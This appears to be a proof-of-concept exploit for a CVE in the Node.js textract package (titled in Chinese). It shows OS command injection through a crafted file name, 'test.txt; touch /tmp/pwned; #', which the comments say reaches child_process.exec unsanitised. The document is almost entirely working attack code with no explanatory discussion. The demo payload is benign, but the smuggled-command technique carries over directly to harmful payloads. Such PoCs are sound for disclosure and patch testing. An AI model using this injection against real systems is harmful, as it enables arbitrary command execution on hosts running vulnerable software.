CVE-2026-26831: textract OS命令注入漏洞

const textract = require('textract'); const path = require('path'); // Payload: Create a file named with a command injection payload // The payload attempts to execute 'touch /tmp/pwned' using a semicolon const maliciousFileName = "test.txt; touch /tmp/pwned; #"; const filePath = "/tmp/" + maliciousFileName; // Simulate the vulnerable extraction process // In a real scenario, the file might exist or the check might pass before exec console.log(`[+] Attempting to extract from: ${filePath}`); // Trigger the vulnerability in textract <= 2.5.0 // This will call child_process.exec() internally with the unsanitized path textract.fromFileWithPath(filePath, function(error, text) { if (error) { console.log("[-] Error returned (may be expected if file missing, but command might have executed):", error.message); } else { console.log("[+] Extraction result:", text); } console.log("[+] Check /tmp/pwned to verify if the command was executed."); });